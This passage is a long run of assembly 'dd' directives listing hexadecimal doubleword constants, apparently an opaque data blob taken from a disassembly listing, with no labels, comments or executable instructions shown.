		dd 0B3EF921Dh, 8E1B2683h, 0C48CA29Dh, 40804F9Ch, 26257D0h
		dd 9D3AC298h, 0E0C98096h, 908CD00Ah, 9A8D0038h,	0F63204A0h
		dd 0C08A26AEh, 29BDA874h, 0F87DA6h, 7096901Fh, 4D01DD7Ch
		dd 21AE02Fh, 0F87C155Ah, 9EDA7982h, 52400C56h, 91C48A3h
		dd 4DFD061Bh, 0E45C78A4h, 525E1BCh, 36050093h, 7073BA7Dh
		dd 299409A9h, 0B879AAF9h, 6AC7B580h, 29C6A696h,	0E47F3Eh
		dd 530D7E02h, 6504791Eh, 29C4AAE9h, 66706482h, 3D60FBFCh
		dd 2D40010Ah, 541063DFh, 0DBD82033h, 7C632441h,	0E7F01602h
		dd 73C0E23Ch, 0C000B5A1h, 0A31F219Fh, 140F8EF9h, 18ADE3C4h
		dd 0D2C70300h, 784244E7h, 5426CB00h, 9D08FEBh, 9BFB1C70h
		dd 0ED3D8B7Dh, 80444804h, 11E41E34h, 487E3F27h,	70DD94h
		dd 446E0B13h, 6AF9C864h, 80A8745Ch, 47B418E1h, 24E30017h
		dd 6A60D9C5h, 3805C89h,	610500FCh, 7014EFA6h, 437FF58Ch
		dd 0F408012Eh, 0C8C17B01h, 4B2A9427h, 50488004h, 8A00AB9Ch
		dd 730A9671h, 58411793h, 322EC288h, 0B2460264h,	548080B6h
		dd 97E6A81Eh, 0FD6B8900h, 0F21D9D7Dh, 0C1D12C8Eh, 0F61198h
		dd 0EF8772DDh, 13DCC5Eh, 0E8B7C60h, 0DA681502h,	0AC601456h
		dd 0E8FF9078h, 3DE42DD4h, 0D9E01490h, 16EC1E01h, 73C9F7B2h
		dd 2C29D3DCh, 1C46A4DEh, 7CEC6Ah, 6D06E647h, 3331AD3Bh
		dd 0C00C1C2Ah, 27D4BC64h, 3048C817h, 920CCF29h,	0E060B466h
		dd 6A0713BBh, 393CF295h, 91DD003Fh, 63275BD3h, 351D0102h
		dd 0EAA1F1F4h, 2402C2Ah, 8086D497h, 9DCB20FAh, 7F1F682Eh
		dd 0FF80116Eh, 0F44372E0h, 26650063h, 8FB53B39h, 0AB0C5305h
		dd 71320C5Bh, 0F63F2A4h, 8D06878Bh, 550B4FC1h, 48B82D78h
		dd 0F96D09F4h, 1BAC10A9h, 0BA68A3E4h, 9D04E0C5h, 0E7760CC4h
		dd 0BC3922ADh, 55778C03h, 0A04163ACh, 7A1F9B9h,	7A453F06h
		dd 0B20555C1h, 0A60B00E4h, 354B3B0Dh, 0A54F0069h, 14F53E7Bh
		dd 9C1DCCD4h, 0F18028B1h, 0AB6BCF26h, 51A70E77h, 0BF9DA1C5h
		dd 17D74085h, 637898DEh, 598034B9h, 9FE07B2h, 0A9D60017h
		dd 2AA0999Bh, 328EF4Ah,	2C03147Fh, 0C83494D7h, 0E692D8BCh
		dd 0EACB0596h, 808E93E2h, 0CA16EA0h, 0A43027h, 973C5EF8h
		dd 99550006h, 52A5F09h,	7E16F8E5h, 9C88CB25h, 0DCB50012h
		dd 27078594h, 0B0049FBCh, 145CFA2Ah, 0C8F2CF40h, 4F0124E6h
		dd 0D90BDC4Dh, 10DCA7BCh, 946C7D06h, 0CE28405Ch, 4C00C166h
		dd 881CDCEBh, 4128D8Eh,	345C1BB9h, 9B04B0A2h, 165E413Ah
		dd 0FC064C45h, 2F184672h, 5B0557B6h, 55208CC5h,	3600C6F4h
		dd 7731FB12h, 168F8CE6h, 20AF4DA1h, 32789AF4h, 79106700h
		dd 19B0ED2Fh, 2C57007Ch, 3B0B051Eh, 5602E60Ah, 2AF6550h
		dd 23C7E2D7h, 1676BADCh, 0C8B7D988h, 990F81FCh,	0C0D5C8FEh
		dd 0E5D73F64h, 134F7C06h, 1159D20h, 94D196C0h, 0FBB42023h
		dd 1BEC700h, 0A517E334h, 5AEA04C3h, 40AD7595h, 5CECF173h
		dd 336C009Dh, 6206CA0Ah, 82005718h, 4BD9F3C3h, 26E74572h
		dd 60D4EAA4h, 0A7312EF1h, 97E26E3Fh, 62039B6Bh,	0D972838Dh
		dd 0A86C6462h, 7E14ED83h, 6D8DC690h, 44EC942Dh,	0AF1B07A0h
		dd 0E1641577h, 0F99B5859h, 6B39C05Ch, 23980800h, 88F1550Dh
		dd 0F3C10B83h, 400BA7C7h, 0A535E800h, 57030760h, 319CE180h
		dd 9805B867h, 79552808h, 85720140h, 1B216892h, 4862DAh
		dd 3256007h, 48970D3Fh,	0AA041C70h, 806F05E8h, 0EC6749ECh
		dd 5B5DA0A0h, 8CEA8907h, 0C67268C8h, 0FA608775h, 50B99870h
		dd 78150062h, 5D357680h, 5105CB3Eh, 0D39681B1h,	0C2FBD490h
		dd 0A3F825E6h, 0C51B7C68h, 0AF9197F7h, 3451A0D0h, 156307D6h
		dd 20A61326h, 74A15B2Bh, 0A585C0C8h, 0B9633490h, 0C9D63700h
		dd 0C1B22DA2h, 4FC605DAh, 0FED0948h, 0A6A3E9E8h, 4CE007B3h
		dd 8028D19h, 0E83094AFh, 754464AEh, 0B4C71FE0h,	399D0F64h
		dd 0AC353762h, 0FF3F6844h, 69998007h, 0A21B6D02h, 4B2A3DBBh
		dd 0CD06D984h, 8F224h, 9455A32Dh, 42267D8Dh, 9E4D2E8Eh
		dd 28115D02h, 0A7A780C5h, 0F84CF1B0h, 98910B3Fh, 3C904626h
		dd 2B00CD94h, 6D6C32F4h, 9E3521Ah, 5853D409h, 0C80E1458h
		dd 4BADF34Ch, 0D458998Ah, 3F6F96C8h, 0EA9CB272h, 0B191425Dh
		dd 0B4C367A4h, 0A260E8E0h, 0FF00F494h, 0CCB8838Bh, 314CCCB9h
		dd 405AAF1h, 0E89A7D0h,	435654C0h, 0A2A002C7h, 0CF2F4B36h
		dd 9163E860h, 323CB50Ch, 95856428h, 105450B0h, 64F28B00h
		dd 4F41212Eh, 61CF00D5h, 0EB0E2B26h, 0BF00762Fh, 934605EAh
		dd 0A253DAh, 0FE96C887h, 35D38073h, 0C4C71A27h,	94262584h
		dd 38E410A9h, 1CE7173Dh, 0D74042DBh, 358D2FB8h,	133B74B5h
		dd 22C2E79h, 39615516h,	8F1F58F1h, 82CE6900h, 3CF24CA0h
		dd 0FA874ADBh, 0F92835C5h, 0C4EF1CC8h, 0F500A3E8h, 1C73782Fh
		dd 0A8175CA2h, 0DADFB8h, 0D8E70EFFh, 0DCE8022Fh, 409E1EEAh
		dd 0F3F9AA40h, 59F73C32h, 43CA200h, 6F193565h, 9029D800h
		dd 0AAF5DF38h, 0B65F5005h, 95340161h, 9F78307Fh, 9A26C819h
		dd 48F490B5h, 4C04C6Bh,	31AC5E00h, 0B4F3BB57h, 0F1472102h
		dd 7EF69885h, 396A40CCh, 0BF006C46h, 0F05FF703h, 0DA0795h
		dd 5B0A7DF2h, 0FA5CBB6Bh, 4306CE00h, 0CCB55242h, 8078B1EDh
		dd 317E46FDh, 6400C5D2h, 0DC296371h, 0B17F82Bh,	30135532h
		dd 177EBC69h, 342C1040h, 16BF07A8h, 7711B2Fh, 0D49E8024h
		dd 9A134219h, 6C00C4F0h, 91DBC64Ch, 978F0081h, 69EA0C7Dh
		dd 43040440h, 0F163E641h, 26827EC1h, 9850223Ah,	0D44070C2h
		dd 24004F96h, 0A5D1654Dh, 48A347FEh, 7102704Eh,	0ADF92195h
		dd 0F20064DAh, 0F3B7D38Fh, 0CCC28Eh, 7EA1E09Fh,	0B5484CE5h
		dd 43C5B600h, 8C781C83h, 679200D1h, 17AB5FA7h, 8406A476h
		dd 0CF618564h, 262B44F8h, 15166B00h, 0DE8EF158h, 20EB4AE8h
		dd 1A324A34h, 13EC7800h, 2F8B4CADh, 378C4h, 36AADC6Dh
		dd 0D550AD8h, 0C7803894h, 0C525E7F2h, 3EB8997Ah, 0AD30D180h
		dd 0C31955A0h, 0AA001B76h, 2AD6424Eh, 7BBC893h,	1C756574h
		dd 0F8E8F1B1h, 80982DA9h, 14E594BCh, 8058996Fh,	4812D20Ah
		dd 90BD37CFh, 1E7B7C2Ch, 0E03A69h, 0CACC0F67h, 104C7005h
		dd 23451D64h, 7E4E4A5h,	0EDFD5220h, 76DCC0DDh, 98008A88h
		dd 0C8562455h, 0C6AFAB3h, 0AA055332h, 16453F98h, 4E02C833h
		dd 9E3BC809h, 388FE1E1h, 0EC8BA014h, 91E50092h,	0C75904F4h
		dd 0FE72BC78h, 0B5D4400h, 81E709ABh, 76A51327h,	403CC8CCh
		dd 0DBAD9C00h, 0A4F79066h, 2F1E1DA3h, 8E02403Dh, 1892C322h
		dd 0E6EC0803h, 0F02B5A9Fh, 3B4EC7h, 0D7D8041Dh,	4477D267h
		dd 0B55470Dh, 4235915h,	0C2B97907h, 4EACF06Ch, 89173ABAh
		dd 4C001B7Ah, 0D25AA450h, 0A8402464h, 0E26500DCh, 3BDE25F4h
		dd 283EEE0Bh, 6B143195h
		dd 8870ABFDh, 0F91B0094h, 0A8C8847Eh, 0B5757B45h, 1095787Eh
		dd 3A026500h, 0B30058D3h, 0D49FFCF0h, 10FAE83Fh, 0C4FF9C1Ch
		dd 0F7944Fh, 15951A7Eh,	9CCAF0CEh, 1B4A4010h, 3E000F04h
		dd 5951D47Fh, 0D3DC7ABh, 0E82BB1DEh, 90688Ch, 0ECAD7854h
		dd 888CC51Ah, 0E6E63806h, 0C8A42F28h, 0B17E56F0h, 3C90DCFEh
		dd 0E5D1BF09h, 60C494h,	32CBF4A5h, 5C51B6B0h, 0DAA96700h
		dd 0B3D9574h, 0C66D00CFh, 0EA540735h, 10B77F93h, 115960h
		dd 0AC3071B7h, 0E30ACC24h, 0B31F8907h, 19912AAAh, 203E43DAh
		dd 0C2179A4h, 0FD00C679h, 40D510D3h, 9B413Ah, 710E5663h
		dd 1AFB943Eh, 0CC56D64Fh, 83C4B0h, 4264FD85h, 0E7387D0Ah
		dd 794A0513h, 0F135D000h, 16C79DD9h, 0AE5AD292h, 0FC31C716h
		dd 856EF71Dh, 4F0009B4h, 1A00D879h, 0F3C977D4h,	55CD1ED7h
		dd 0ECC44F89h, 0A8328F21h, 6714D8F8h, 25D29609h, 9040D928h
		dd 8DC48006h, 3FC5161Ah, 2CFC11A0h, 372186Bh, 36495BB9h
		dd 0F4D2E3FAh, 90B55790h, 0F2B2AAA0h, 5B1801EEh, 37664AF5h
		dd 9A32016h, 0DA852A02h, 0D275D2BDh, 0C1E83758h, 8F0BD01Eh
		dd 0B71CFF81h, 0BBC0726Ah, 27CA3ED5h, 385560A4h, 0AED024A2h
		dd 62382095h, 0B5B1A1h,	20A5C654h, 4541E7D8h, 2D1FF60Fh
		dd 15C050F9h, 616B7330h, 0C22476F8h, 404EFC7Dh,	0DB35EDD9h
		dd 8A70002Fh, 0D5A1364Fh, 0A50554DDh, 37850B87h, 0C005F4B8h
		dd 0B326ED0Ah, 0F93389A8h, 23F800F8h, 4148C4C3h, 0ADB2AC00h
		dd 0F965D18Bh, 94C7176Dh, 0FF8C8822h, 4D027F7Eh, 0BBCA437Ah
		dd 2024AE38h, 8582D8D2h, 22A20E5Bh, 0F140D9D5h,	32072388h
		dd 0D0A037F6h, 81B53F1Eh, 0EDC6B2C8h, 6B83A039h, 2007276Dh
		dd 188A3472h, 77A4B8B0h, 815F1EE0h, 2DF1E0Dh, 0F65BA26Dh
		dd 9540BC7Ch, 0BC51A5h,	0BAAF7415h, 3D418F77h, 0C9BF39h
		dd 3BBDB664h, 44AEE61Ch, 0D5001E1Ah, 11F935E9h,	0FD9233h
		dd 274E1083h, 1E3957A6h, 88BD151h, 72072480h, 1D86867h
		dd 949E2830h, 4C3675D0h, 0B293D497h, 0DDC70088h, 0A7D7B594h
		dd 9FD33EC4h, 73820401h, 0DB262970h, 17EA1E3Fh,	542079D4h
		dd 0B7A58Fh, 0B822F408h, 0FC21C9FFh, 0B14DFD00h, 0E3BE8894h
		dd 0EFC124C5h, 4592088Ch, 0A526D480h, 0BE9DB46Dh, 0CEAD414Ch
		dd 0CAA8D063h, 130426B0h, 79DA7AE9h, 3E654A4h, 271C6AAh
		dd 0CC906136h, 3077DFA3h, 86E44F1Dh, 78ECB149h,	462E0B4Ch
		dd 0FD8253D9h, 0D0FC0F56h, 4FDA414Fh, 0D0739626h, 0F20D4904h
		dd 3C78A97Eh, 0FA1C80FBh, 7D01E99Bh, 1A8400C9h,	4095D534h
		dd 272E05F0h, 0C3616C91h, 284073ECh, 27E92DA9h,	34C4E00Fh
		dd 3F841203h, 88091690h, 487630Eh, 719C691h, 5D20217Fh
		dd 0EB272F8h, 16184017h, 1E0DEF20h, 9276744Eh, 7BB08873h
		dd 0CC0B532Ch, 463EA604h, 0E9D91B05h, 1DAF1190h, 0A7E70h
		dd 243A0958h, 9F4DA843h, 5042D038h, 0B10438DAh,	733514FEh
		dd 1F480A4h, 0AC4D8E8h,	0C8B85B2Ah, 0B3A4D26h, 3DD307E7h
		dd 981154Ch, 202BBDD9h,	4348CE84h, 7929CC2Ch, 28EBF00Ch
		dd 0E8EC2C6Eh, 90E267ECh, 27CEE626h, 48C3C607h,	0E13EC0B7h
		dd 20B3FB97h, 0AD80E478h, 49DEB56Bh, 90D5D61Eh,	7A5842C0h
		dd 4B6F6D24h, 5F3C881Ah, 0DC77A81Fh, 4CECD640h,	11046A65h
		dd 21BAEE7h, 41A779EDh,	81F260B4h, 0D49900CBh, 0C9F4BFB9h
		dd 0B0091249h, 685D0354h, 31BCCCh, 0E162A042h, 0DFF4AF20h
		dd 320DCD00h, 0E6783019h, 16F4B05Ah, 0B346DA87h, 0E7B38BCh
		dd 0C49BEA79h, 0F0C0C3A1h, 8FF13Eh, 4D610663h, 7D8C5C64h
		dd 31808896h, 0F1BA9E10h, 89A2144Eh, 5E80E0ADh,	6B9C6FEFh
		dd 0CF11FB07h, 1CC0FD87h, 0BDBD3DFh, 56784BA6h,	803E285Bh
		dd 0C60A9F2Fh, 9C18CAB8h, 0B80349C4h, 0A3D1E05Fh, 0CC7C74h
		dd 90F54669h, 5CBFD9FAh, 0BE0000D4h, 36EBBCBBh,	0CC9979D7h
		dd 41BA170Fh, 0EC4CBF1Bh, 78C0402Bh, 0EDD2D8FDh, 0F67E22h
		dd 98A5763Eh, 59B19D8Bh, 4DA42D00h, 0CE033655h,	88284FE9h
		dd 83014320h, 9A78D3C0h, 0E7C4ECDCh, 82AD34F8h,	6C6CCC21h
		dd 0DD53CA00h, 4F8D0A3Ah, 9FF4096Eh, 64908078h,	0D85C5ACAh
		dd 0DA030178h, 0C3F1957Eh, 7D9674C8h, 0BA7C0165h, 0D478804h
		dd 7005F406h, 48FAEEE1h, 795ED80Fh, 0E78627FBh,	0B8DB5CA0h
		dd 74BC3EC5h, 45E29E0Ah, 236943F4h, 0CE371600h,	55CF6B30h
		dd 0AB620A61h, 4C45E67h, 0CC34521Fh, 0D998E30Ch, 0F906830Fh
		dd 8C4918A3h, 0BC30541Ah, 93B91354h, 0FB08207Dh, 230134F8h
		dd 1215C0E3h, 0B8FF20C7h, 0C05DFh, 1A41DA74h, 1F8F4D86h
		dd 0FA6D8E1Eh, 0C089D913h, 3D017872h, 704FE3Ch,	0B120F81Eh
		dd 6F504A01h, 3B91F266h, 69C00BE7h, 0AC908063h,	8B00B972h
		dd 0F77B17E1h, 264ED08Eh, 0E0453Ch, 5206894Dh, 0DAF0B51Ch
		dd 0B55F113h, 4D12BCB2h, 76C030F7h, 800F43Dh, 6C077145h
		dd 140FE8Bh, 613B1C66h,	0E864C3CEh, 0C002A3E2h,	94D143DFh
		dd 0E0ECE36Bh, 28C76031h, 116C2D18h, 42B3CF9h, 5FA1E7EDh
		dd 4F0014FDh, 889348F4h, 0E00172EFh, 0A42FAB73h, 76D0E924h
		dd 5FDD03FDh, 8DC717DCh, 0AE405107h, 18B03E5Bh,	17F8943Dh
		dd 20808B76h, 0D6032EC8h, 81FA8E05h, 1CECD154h,	431D6F00h
		dd 5D3C599Dh, 510E1044h, 5CF6CAB1h, 5EF626Ch, 33407456h
		dd 16BD2BBh, 9491D7F8h,	3C721675h, 99B38190h, 0ECE45945h
		dd 0CCA35E5Dh, 0C8521BC8h, 0A8F917D0h, 84E2E088h, 968D3002h
		dd 46A2F8FCh, 68190B34h, 0F8B0A326h, 0F7178BFCh, 7C003CE0h
		dd 34481E3Ah, 6B7917C1h, 7440309Eh, 0B700FD50h,	0A3E7177Dh
		dd 0E9030Dh, 8E0B9E11h,	0D559BECEh, 0B8732F01h,	15A4F8ECh
		dd 2F8B5852h, 0C60B5840h, 88986F44h, 0F28E8100h, 0AA053188h
		dd 7EF807A9h, 20615684h, 779E7096h, 754134Ch, 1A85F166h
		dd 0C4587592h, 0DB823EBCh, 2FC90100h, 997C1C95h, 0DA9BC000h
		dd 443F853h, 4AE40157h,	4C05ED2Eh, 9DBAC007h, 18B45A05h
		dd 983389E0h, 3A15D86Dh, 10209773h, 253EB8BAh, 2B67605h
		dd 10C87DA6h, 0F6030089h, 0E31E0A4Bh, 6C1EF32Dh, 35C023D4h
		dd 0D694FD1Dh, 0E91C008Ch, 5F162A2h, 0EA5B885Ch, 0B7AB6023h
		dd 983A81B0h, 0CAA20ACDh, 11E876A4h, 81643F26h,	0CECC897Ch
		dd 82CB859h, 2B20B80h, 0A6008ED2h, 42ED479Ch, 9A9187Bh
		dd 0D02A2DC1h, 4016B084h, 0A46DEBDFh, 0F6C70F89h, 0F36B1F97h
		dd 841CC871h, 2F20409h,	0FED7186Ch, 0FE2D419Ch,	0F4A131CAh
		dd 0EA146050h, 281CA8F8h, 7248CC25h, 0A49D1D76h, 0FA65F240h
		dd 0EA495536h, 988D0066h, 0ACC818FFh, 7F0F684Fh, 7BA2CEh
		dd 0FA55C34Eh, 157437D5h, 1D692048h, 0E0025EDEh, 1A6614FDh
		dd 5871C8h, 0D992FF6Eh,	3CB8F2DDh, 18A2EF4Bh, 0DF3E810Eh
		dd 0FDA82560h, 0BF00CF58h, 6692A034h, 1F7252A4h, 1715CECDh
		dd 78F0C12Fh, 5FC45208h, 1600F45Ah, 3FF4C62Dh, 2AD87B8h
		dd 88974CDBh, 38D47DAAh, 0D71AA080h, 113B9BEh, 0EFA4EAFFh
		dd 0D3AFAA04h, 0BC85E0E9h, 38404A29h, 0CA7B10C3h, 0CD15003Ch
		dd 7050AE25h, 23483943h, 35380148h, 992826A3h, 0E705CC29h
		dd 0B8156805h, 32F680F8h, 3F02C556h, 1D873A59h,	60360DF0h
		dd 2FE70964h, 8498747Dh, 5D982612h, 0D107A4D2h,	0E2A778h
		dd 580C115Dh, 7E0D298Fh, 591BE9A3h, 35A07C93h, 6207ED28h
		dd 3ECBE73Ah, 0E609D710h
		dd 0EC560A14h, 242C0F55h, 7D012D4h, 40158C06h, 24379D3Ah
		dd 826BCF0Bh, 50443Eh, 0ED3154CCh, 4A1F8E30h, 6A80CE50h
		dd 0ADDDF917h, 0E8626023h, 0EEF5C999h, 0C104026Ch, 298A513Bh
		dd 58C1E042h, 67388209h, 60305F01h, 35A238h, 0AB71BFAEh
		dd 3BF01EE3h, 6C405D5Bh, 0D7EC9A28h, 8DD0018h, 72BA459Dh
		dd 0B7F0884Ch, 8FA42400h, 0E80AD793h, 0C17DFEC4h, 1758339h
		dd 1BF0D0CDh, 1566A212h, 0E249820Fh, 0C8EC093Dh, 0F54D872Ch
		dd 0B57F2670h, 9BFE1C20h, 0F7011856h, 737966E7h, 0C081F5A9h
		dd 548E1A57h, 903D5Fh, 0FE088CE2h, 1C2439AFh, 57B13D73h
		dd 0C2831CD7h, 115B9E3Ah, 5F946C7Eh, 0E2C1076Ch, 8CE08D1Ch
		dd 53DFF0h, 0D3354FCCh,	0BC7783CEh, 0D9BB4200h,	0F65EFC07h
		dd 0E1B92EF3h, 35811E8h, 6041D8FAh, 5BEBA822h, 0C37A84h
		dd 0AAE77ADCh, 0A4302894h, 9AD05C0Bh, 3C24905Fh, 0F6190E76h
		dd 0AB20F070h, 714BA029h, 0AE40D4BCh, 7EDDA5CCh, 68CF0384h
		dd 8CF5F946h, 0B96607A0h, 81EA5F3Ah, 0DE9DEF05h, 1C3D7EECh
		dd 9FB61C77h, 0C64EC26Fh, 0F740F57Bh, 791CB10Bh, 0EB805A0Ah
		dd 0E03F3B2Fh, 2D1B807h, 0C01E6FAEh, 24608272h,	8E02F157h
		dd 0DE1B7BA0h, 385DFEh,	0E0131B7h, 9C8E5933h, 4A801CEBh
		dd 0FDA339E6h, 4003C63h, 0F3C74611h, 983D9F89h,	0C4A00970h
		dd 4898DE18h, 0C61C4A39h, 6785B69Ch, 0ACACA0F9h, 46601493h
		dd 26428305h, 8934FC92h, 0C4980ABDh, 0C890D83Fh, 3F1440C5h
		dd 313B466h, 48A2ED17h,	0EC578B00h, 3229DEDDh, 0A79E3502h
		dd 6040D78Ah, 5CF8ED70h, 6A80403Ch, 38D12D41h, 41937F30h
		dd 1E89E79Ah, 8095E4BBh, 0ADC4D431h, 454BDEE8h,	882A8CD0h
		dd 0B5B824D6h, 0C9EE0094h, 2887C863h, 5B3B1009h, 56BC0341h
		dd 0BAAA4BFh, 4C84C6B0h, 0E8754918h, 4660AB0h, 4978AB38h
		dd 906682AFh, 0F9183CE0h, 0EC20A65Eh, 4E9EB3B4h, 33CA2EDh
		dd 31AB922Ah, 3742D17Ch, 0E8F4A4D5h, 0E050F5AEh, 13D217F2h
		dd 309E7135h, 0D0FE26CCh, 0E1686100h, 0F9AC4117h, 1FF70E44h
		dd 74E13673h, 0EC61A2EDh, 40A00F3Ch, 2CB84A88h,	385DB413h
		dd 8F8BE008h, 0E1095015h, 0A9F91048h, 0CA407CB4h, 0FA9D762Fh
		dd 8AAE0F30h, 9084CB60h, 56E0D0AAh, 0B1C61C14h,	7391A5Ch
		dd 0BFB41894h, 0E00A60C2h, 9B00254Ah, 1A11D848h, 0B0FB64CFh
		dd 0CC9A5E04h, 3D006C88h, 0C86506E5h, 0BFB634E7h, 648D9890h
		dd 0D847DF27h, 0C59F3AAEh, 0AE48AD83h, 0BFF0D1E7h, 794BDADEh
		dd 63968490h, 0E93F1DF6h, 91E4022h, 920776B3h, 1A4FFC05h
		dd 78048FE2h, 1B4F0DA7h, 59503092h, 0D8A4D91Ah,	0D0C8F94Fh
		dd 9FB7F61Bh, 66132082h, 0C0000866h, 1679642Bh,	43196h
		dd 34C5B3C8h, 92CEC4D2h, 99A46B09h, 6E3001EDh, 203AAF84h
		dd 272AD138h, 0E3E28D00h, 0FA1153C8h, 5E894C4h,	0A2DB26E6h
		dd 5ABD0010h, 1374D8F9h, 0BB4E0062h, 3954BF22h,	0A9007BD9h
		dd 8DD33017h, 4ADE4F8h,	0D4634A6Fh, 80F0F836h, 5F42B51Ch
		dd 12676BAh, 54A24CDAh,	0C0A063E8h, 0A50937B2h,	1274757h
		dd 6E150580h, 89FC5470h, 0BC733Dh, 190B3503h, 710EFC2h
		dd 7597E4EBh, 0B8E6C4D6h, 677E8088h, 0BAF83Fh, 0E522FDB6h
		dd 0CF59E8A1h, 0C88C184Eh, 9FD9F0CEh, 68C4A098h, 6AAC4900h
		dd 8C282591h, 7F31C5B0h, 2D1C03F6h, 95F0E4E0h, 807EB25h
		dd 0B3C0BD77h, 1541424Fh, 0A0A8C33Bh, 3DEA695Ah, 0C84EA17Eh
		dd 29078DCCh, 5B054FCAh, 21FCB730h, 0D38500F2h,	98C7F15Ch
		dd 0C63F04B1h, 4B73A552h, 0BA48D87Ch, 0C2780050h, 11939DBFh
		dd 87F22ECDh, 0D5CCFB04h, 20AFF7F9h, 76E5420h, 1FE1820Bh
		dd 9C478120h, 72703A3Dh, 3C755CD0h, 986B440h, 0CB7AA7BDh
		dd 0B802487Ch, 0DC8C2662h, 4D2442E0h, 0C0C6F1E2h, 462A9603h
		dd 8094E41Ch, 9B9095Fh,	9827D0EDh, 1C61B412h, 0C0207B6Ah
		dd 124B6Eh, 6D0F08D3h, 76F639F8h, 27DF4F3Eh, 31CF0A4h
		dd 0B0B7D3CDh, 0D2B493D7h, 0BCD11788h, 64D9C600h, 155DD54h
		dd 0DC656096h, 0C3622A32h, 3BA07EC9h, 0A357DC80h, 0A8F92403h
		dd 6D8C40B8h, 8D17C808h, 34887E81h, 0DBD92E65h,	17F36350h
		dd 4AE25F8h, 7C7DA47Eh,	0AC952E00h, 76D886D1h, 88265F6Ah
		dd 0B900FBE0h, 3491B664h, 144072E4h, 0E8CA31E8h, 0FA15710Bh
		dd 123BD000h, 0BE0BC057h, 9CD9F3h, 285DF558h, 0BF85F4D6h
		dd 264EA000h, 0C804595h, 225C98D0h, 0C8005E90h,	6B308C44h
		dd 9974D4EAh, 0A5F50004h, 0C04F42F1h, 8AED1E02h, 0E1389EF2h
		dd 0E8393F75h, 35EF0700h, 6F058A4h, 0FFB24202h,	0E6750CBDh
		dd 0FC3C1730h, 5FCF00ADh, 1AB184C5h, 0F84A4525h, 0F098011Ch
		dd 0B41D92D1h, 0E0233A75h, 4A02C8BAh, 9C501CA0h, 0E87409Dh
		dd 244198BFh, 26DAA3Fh,	3F209654h, 40047428h, 1C8F8D89h
		dd 0A3F96412h, 9600D0B3h, 5ED1B7A7h, 640541A4h,	7A3282Dh
		dd 7D559CC1h, 3D1EA422h, 0DBF6C006h, 0ABA24957h, 55ED8E09h
		dd 42B4DC0Fh, 0C54699Ch, 4D151E05h, 8D8198ADh, 32AC3868h
		dd 0ADE9008Ch, 0AB5AC092h, 0B5A60B36h, 8704ED5h, 0F020CD4Eh
		dd 0E27F4301h, 0B60400FBh, 97B8107Eh, 0BF27B9Fh, 416F1501h
		dd 95A6155h, 2C9091h, 0C97C6AD1h, 51FC373h, 0D397282Ah
		dd 1682C03Bh, 44FD6E6h,	0C27228DCh, 0F87DC3F8h,	18E14320h
		dd 1897B0Bh, 99EE21BFh,	30AB6A6Eh, 87E67F38h, 93800F11h
		dd 24DAB800h, 75A14DC6h, 52A8C225h, 0A3C70190h,	0ECF15D11h
		dd 4C03CE6h, 0F2828022h, 0A948A480h, 36141293h,	3884F20Bh
		dd 0B42D89E3h, 0FFF300BCh, 4F099EBh, 0E623BA6Eh, 960F8CFh
		dd 4845C566h, 39D63970h, 27ACAC7h, 0F625CB12h, 8841AB16h
		dd 7F7884B5h, 1F81F163h, 72F44F13h, 0F8B0975Eh,	0C839495Fh
		dd 5C56A65Bh, 0B46E441Eh, 4611D847h, 0C2C8C4E1h, 68B730D5h
		dd 899363AAh, 0E8E25D4Ah, 5BA46E3Bh, 436262Dh, 0C23DE924h
		dd 74407334h, 3300F14Ch, 91208CDCh, 0FA88ECD5h,	0ABFF0925h
		dd 8545B14h, 688C5500h,	0F6C2E411h, 80E89EAFh, 9B7D548Ah
		dd 0DD13A5A6h, 0BBD758h, 35961364h, 0BB3AC836h,	92CF80DCh
		dd 4F1E81Fh, 0AB5913CEh, 45DC207Ah, 0B600AF70h,	0D884A748h
		dd 56D3B65h, 0F488193Dh, 6A8003C6h, 0C9FDE31Ah,	80CC28D4h
		dd 631D7209h, 17B00030h, 9CF0506Bh, 950034D3h, 0A8E008C1h
		dd 0BDF1D63Eh, 45911030h, 0C470CF89h, 0AF4A25FBh, 0AE747C48h
		dd 0D2C57F00h, 75B96ED5h, 0ECE45C1Bh, 0CC9E36C0h, 0A7F6C048h
		dd 0CFA3E13Ah, 0BC23EC27h, 0BF80C56Ch, 23C7C6h,	59BEBF9h
		dd 1FCEEFF0h, 38A03090h, 0E14FBD55h, 76E82809h,	291504ACh
		dd 0B1ECA446h, 2E14910Fh, 4A3CC0D7h, 60F8B9A9h,	0EC27C9A6h
		dd 10BF26D3h, 4A7E14h, 4CD9BF69h, 0FE564E65h, 0BB3F1400h
		dd 83733068h, 6768C0B4h, 95ECA620h, 0A8F8CD12h,	44755C22h
		dd 911E3B40h, 558AB401h, 44DF19FCh, 9F943070h, 0CD00A12Ah
		dd 6F203554h, 9C7F3C8h,	7D58B650h, 8683A010h, 0AC427100h
		dd 698F7E30h, 8E80FFAh,	0E7CB22C1h, 0D4021064h,	0BF7516F7h
		dd 48AD4015h, 80210F53h, 0C28117CAh, 286EB088h,	59050598h
		dd 0FB8194C4h, 0F6C4585Dh, 0C71B292Bh, 17F8A6D4h, 65F0D1E3h
		dd 22A7E458h, 0CC9994F0h, 0E1A1E703h, 54ADA206h, 9488030h
		dd 3968B5FFh, 0CC08E900h, 4A6A8052h, 9EF31C51h,	0A8D2922Eh
		dd 0C4D02DF4h, 0F6170B18h
		dd 378701CFh, 28CAF1h, 11047A24h, 1038FC31h, 169B8013h
		dd 36FA779Eh, 66E200FDh, 1C65CC58h, 9C9853DAh, 45D4D613h
		dd 0C076F092h, 0BDC4E1h, 0DAFBC159h, 78A7853Eh,	4B32AD00h
		dd 0BC08E21h, 0B8B94867h, 129F9426h, 9208FCC5h,	4092CF0Fh
		dd 0A15B01Ah, 8ED0036h,	656CF5E6h, 64975542h, 9798A174h
		dd 394D9070h, 48035EAh,	3A59E085h, 480506E5h, 0BF4F2F96h
		dd 6C8000E8h, 0CBB92D93h, 43DD400Eh, 0F220216Eh, 70B6D9h
		dd 0A2F82CF7h, 0B353C07Ch, 4C9F55DEh, 4B8000D4h, 54D9EC01h
		dd 0E548BD77h, 0DF520590h, 1C834CB8h, 9F44BFB4h, 2E808CACh
		dd 0A68ECC4h, 1A97D003h, 981F23FFh, 0FE4364A2h,	0C7D30026h
		dd 8A6A69B6h, 1825C4E3h, 2684D1D9h, 59D240A0h, 0CB028424h
		dd 0CCFFED9Fh, 7EC51D0h, 9073512Fh, 0E7D2C48Bh,	46269D2Fh
		dd 8E9044F0h, 29B94904h, 0F8C3A7F2h, 51EC9287h,	0D7430FA8h
		dd 0A6B5F1C0h, 57738E2Eh, 0D5809A00h, 300DC107h, 4B5E0978h
